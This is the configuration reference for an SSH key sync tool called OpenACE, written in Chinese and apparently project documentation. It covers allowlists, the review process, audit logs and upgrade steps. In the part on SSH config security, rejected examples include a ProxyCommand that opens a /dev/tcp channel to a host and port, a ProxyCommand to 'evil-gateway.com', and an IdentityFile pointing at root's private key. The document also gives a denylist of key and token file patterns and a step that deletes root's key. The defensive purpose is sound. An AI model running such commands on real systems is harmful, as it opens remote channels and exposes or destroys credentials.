SSH 密钥同步配置参考

关联 Issue: #2182

概述

本文档详细说明 SSH 密钥同步的配置选项、安全评审流程和最佳实践。

配置文件

位置

/etc/openace/ssh_sync_allowlist.yaml

权限

权限：600
Owner：root:root
原因：配置文件可能包含敏感信息，需要保护

格式示例

# SSH 密钥同步白名单配置
# 路径：/etc/openace/ssh_sync_allowlist.yaml

# 允许同步的文件列表
allowlist:
  # 默认白名单（已知主机列表）
  - name: "known_hosts"
    type: "known_hosts"
    content_check: false
    description: "已知主机列表"

  - name: "known_hosts.old"
    type: "known_hosts"
    content_check: false
    description: "known_hosts 备份"

  - name: "known_hosts.old.*"
    type: "known_hosts"
    content_check: false
    description: "known_hosts 历史备份"

  # 示例：允许公司公钥同步（需要安全评审）
  - name: "company_*.pub"
    type: "public_key"
    content_check: true
    max_size: 1MB
    approval_required: true
    security_review:
      reviewed_by: "security-team"
      reviewed_at: "2026-01-15"
      review_notes: "允许公司公钥同步"

# 黑名单（强制，不可配置）
denylist_patterns:
  - "id_*"
  - "*.pem"
  - "*.key"
  - "*.socket"
  - "agent.*"
  - "token_*"
  - "*.token"

# 升级处理策略
upgrade_action: "backup"

# 审计日志配置
audit_log:
  path: "/var/log/openace/ssh-sync.log"
  max_size: 100MB
  retention_days: 30

环境变量

OPENACE_SSH_UPGRADE_ACTION

升级处理策略。

可选值：

warn: 仅告警，不删除文件
backup: 备份文件到 ~/.ssh/legacy_backup_YYYYMMDD_HHMMSS/，然后删除
delete: 直接删除文件（仅删除内容指纹匹配的文件）

默认值: backup

使用场景：

warn: 审计模式，确认检测逻辑正常
backup: 生产环境推荐，有回退能力
delete: 确认无误后的清理模式

OPENACE_SSH_UPGRADE_REQUIRE_CONFIRM

是否需要人工确认处理 legacy 私钥。

可选值：

true: 需要人工输入 "yes" 确认
false: 自动处理

默认值: false

使用场景：

重要系统升级时设置 true
自动化部署时设置 false

OPENACE_SSH_DETECT_ENCODED_KEYS

是否检测编码后的私钥（Base64、Hex）。

可选值：

true: 检测编码私钥
false: 仅检测明文私钥

默认值: false

注意：启用会增加性能开销和误判风险。

安全评审流程

评审要求

以下情况需要安全评审：

添加新的文件模式到白名单
同步 SSH 配置文件片段
同步非标准的公钥文件

评审人员授权

授权评审人员列表存储在：/etc/openace/authorized_reviewers.yaml

authorized_reviewers:
  - name: "security-team"
    email: "security@company.com"
    valid_from: "2023-01-01"

  - name: "ops-team"
    email: "ops@company.com"
    valid_from: "2023-01-01"

评审有效期

评审有效期为 1 年（可配置）
过期评审需要重新评审
未授权人员的评审无效

评审记录

每次评审必须记录：

security_review:
  reviewed_by: "security-team"  # 评审人员（必须在授权列表中）
  reviewed_at: "2026-01-15"      # 评审日期
  review_notes: "允许公司公钥同步" # 评审说明

审计日志

日志位置

/var/log/openace/ssh-sync.log

日志格式

[TIMESTAMP] [LEVEL] [USER] MESSAGE

日志级别

INFO: 正常操作
WARN: 需要关注的问题
ERROR: 严重问题

日志事件

事件	级别	说明
`SYNC_SUCCESS`	INFO	成功同步文件
`SYNC_DENIED`	WARN	拒绝同步文件
`LEGACY_KEY_DETECTED`	ERROR	检测到 legacy 私钥
`LEGACY_KEY_BACKUP`	INFO	备份 legacy 私钥
`LEGACY_KEY_DELETED`	WARN	删除 legacy 私钥

日志轮转

最大大小：100MB
保留天数：30 天
自动轮转：每日
自动压缩：gzip

命令行工具

查看帮助

/usr/local/bin/openace-ssh-sync --help

同步 SSH 密钥

/usr/local/bin/openace-ssh-sync --user <username>

检测 legacy 私钥

/usr/local/bin/openace-ssh-sync --user <username> --detect-legacy

Dry-run 模式

/usr/local/bin/openace-ssh-sync --user <username> --dry-run

指定配置文件

/usr/local/bin/openace-ssh-sync --user <username> --config /path/to/config.yaml

升级迁移指南

从 1.x 版本升级

1. 升级前检查

# 检查是否有 legacy 同步的私钥
/usr/local/bin/openace-ssh-sync --user <username> --detect-legacy

2. 配置迁移

旧版本：

自动同步所有 /root/.ssh 文件

新版本：

只同步白名单文件
私钥默认不同步

3. 推荐行动

为每个用户生成独立的 deploy key：

ssh-keygen -t ed25519 -f /home/<user>/.ssh/id_ed25519_<project>

将公钥添加到 Git 仓库：

cat /home/<user>/.ssh/id_ed25519_<project>.pub
# 添加到 GitHub/GitLab 的 deploy keys

测试 Git SSH 访问：

sudo -u <user> git clone git@github.com:org/repo.git

验证不依赖 root 私钥：

# 删除 root 私钥（如果不需要）
rm /root/.ssh/id_rsa
# 验证用户仍能访问 Git

4. 处理 legacy 私钥

# 设置处理策略
export OPENACE_SSH_UPGRADE_ACTION=backup

# 运行检测
/usr/local/bin/openace-ssh-sync --user <username> --detect-legacy

# 检查备份
ls -la /home/<username>/.ssh/legacy_backup_*/

回滚方案

如果升级后出现问题：

ls -la /home/<user>/.ssh/legacy_backup_*/

恢复私钥：

cp /home/<user>/.ssh/legacy_backup_YYYYMMDD_HHMMSS/id_rsa /home/<user>/.ssh/
chmod 600 /home/<user>/.ssh/id_rsa
chown <user>:<user> /home/<user>/.ssh/id_rsa

验证 Git 访问：

sudo -u <user> git clone git@github.com:org/repo.git

故障排查

问题：known_hosts 未同步

检查：

文件是否在 /root/.ssh 下
文件名是否匹配白名单
查看审计日志

tail -f /var/log/openace/ssh-sync.log

问题：legacy 私钥未检测

检查：

文件权限是否为 600
文件名是否匹配 id_* 模式
内容指纹是否匹配

问题：脚本执行失败

检查：

脚本是否有可执行权限

ls -la /usr/local/bin/openace-ssh-sync

Python 版本是否满足要求

python3 --version  # 需要 >= 3.10

查看错误日志

journalctl -u open-ace -n 100

最佳实践

定期审查审计日志
- 每周检查 SYNC_DENIED 记录
- 每月检查 LEGACY_KEY_DETECTED 告警
使用安全的 Git 凭据方案
- 优先使用 per-user deploy key
- 避免依赖 root 私钥
配置变更需要安全评审
- 记录评审人员和日期
- 定期审查评审有效性
升级前备份数据
- 备份 /home/*/.ssh 目录
- 备份 /root/.ssh 目录
- 记录文件指纹
监控告警
- 配置日志监控
- 设置告警阈值

SSH 配置文件安全要求（Issue #2328）

默认行为

SSH 配置文件（config、config_*）默认拒绝（DENIED）同步，已列入黑名单。这可以防止潜在危险的 SSH 配置被传播，此类配置可能包含：

带有 shell 执行的 ProxyCommand 指令
指向 root 私钥的 IdentityFile 指令
硬编码的凭据或 token
指向敏感路径的 Include 指令

配置文件的安全评审流程

如需同步 SSH 配置文件，你必须将其加入自定义白名单并进行强制安全评审。安全评审必须核实：

不存在带 shell 执行的 ProxyCommand
- ❌ 拒绝：ProxyCommand ssh -q -W %h:%p gateway.example.com
- ❌ 拒绝：ProxyCommand bash -c "exec 3<>/dev/tcp/10.0.0.1/4242; cat <&3 & cat >&3"
- ✅ 接受：无 ProxyCommand，或仅有安全的 ProxyCommand（如 nc %h %p）
不存在指向 root 私钥的 IdentityFile
- ❌ 拒绝：IdentityFile /root/.ssh/id_rsa
- ❌ 拒绝：IdentityFile ~/.ssh/id_ed25519（当 ~ 展开为 /root 时）
- ✅ 接受：无 IdentityFile，或仅有安全的公钥路径
不存在指向敏感路径的 Include 指令
- ❌ 拒绝：Include /root/.ssh/config.d/*
- ❌ 拒绝：Include ~/.ssh/external_config
- ✅ 接受：无 Include，或仅有安全的 include 路径（如 /etc/ssh/ssh_config.d/*）
配置中不存在凭据或 token
- ❌ 拒绝：Password 指令或硬编码 token
- ❌ 拒绝：API key 或认证凭据
- ✅ 接受：无硬编码凭据
不存在 root 或特权用户的 User 指令
- ❌ 拒绝：User root
- ❌ 拒绝：User admin 或其他特权用户
- ✅ 接受：仅非特权用户指令，或无 User 指令

SSH 配置的白名单配置示例

allowlist:
  # ... 其他条目 ...

  # 示例：经安全评审后允许特定 SSH 配置
  - name: "safe_config"
    type: "ssh_config"
    content_check: true
    approval_required: true
    security_review:
      reviewed_by: "security-team"  # 必须在授权评审人员列表中
      reviewed_at: "2026-08-08"
      review_notes: |
        Verified safe:
        - No ProxyCommand directives
        - No IdentityFile directives
        - No Include directives
        - No hardcoded credentials
        - Contains only Host/User/Port directives for known safe hosts

被拒绝的配置模式（示例）

示例 1：带 shell 执行的 ProxyCommand

# ❌ 已拒绝 - 安全风险
Host compromised-host
    ProxyCommand ssh -q -W %h:%p evil-gateway.com

示例 2：指向 root 私钥的 IdentityFile

# ❌ 已拒绝 - root 私钥暴露
Host internal-server
    IdentityFile /root/.ssh/id_rsa

示例 3：Include 敏感路径

# ❌ 已拒绝 - 路径遍历风险
Include /root/.ssh/external_configs/*

示例 4：安全配置（可接受）

# ✅ 已接受 - 安全配置
Host github.com
    User git
    Port 22
    HostName github.com

变更历史

2026-01-15: 初始版本（Issue #2182）

概述​

配置文件​

位置​

权限​

格式示例​

环境变量​

OPENACE_SSH_UPGRADE_ACTION​

OPENACE_SSH_UPGRADE_REQUIRE_CONFIRM​

OPENACE_SSH_DETECT_ENCODED_KEYS​

安全评审流程​

评审要求​

评审人员授权​

评审有效期​

评审记录​

审计日志​

日志位置​

日志格式​

日志级别​

日志事件​

日志轮转​

命令行工具​

查看帮助​

同步 SSH 密钥​

检测 legacy 私钥​

Dry-run 模式​

指定配置文件​

升级迁移指南​

从 1.x 版本升级​

1. 升级前检查​

2. 配置迁移​

3. 推荐行动​

4. 处理 legacy 私钥​

回滚方案​

故障排查​

问题：known_hosts 未同步​

问题：legacy 私钥未检测​

问题：脚本执行失败​

最佳实践​

SSH 配置文件安全要求（Issue #2328）​

默认行为​

配置文件的安全评审流程​

SSH 配置的白名单配置示例​

被拒绝的配置模式（示例）​

相关文档​

变更历史​

概述

配置文件

位置

权限

格式示例

环境变量

OPENACE_SSH_UPGRADE_ACTION

OPENACE_SSH_UPGRADE_REQUIRE_CONFIRM

OPENACE_SSH_DETECT_ENCODED_KEYS

安全评审流程

评审要求

评审人员授权

评审有效期

评审记录

审计日志

日志位置

日志格式

日志级别

日志事件

日志轮转

命令行工具

查看帮助

同步 SSH 密钥

检测 legacy 私钥

Dry-run 模式

指定配置文件

升级迁移指南

从 1.x 版本升级

1. 升级前检查

2. 配置迁移

3. 推荐行动

4. 处理 legacy 私钥

回滚方案

故障排查

问题：known_hosts 未同步

问题：legacy 私钥未检测

问题：脚本执行失败

最佳实践

SSH 配置文件安全要求（Issue #2328）

默认行为

配置文件的安全评审流程

SSH 配置的白名单配置示例

被拒绝的配置模式（示例）

相关文档

变更历史